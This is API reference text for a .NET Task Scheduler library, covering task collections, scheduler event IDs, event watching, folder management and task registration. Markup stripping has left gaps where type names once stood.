+ + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + 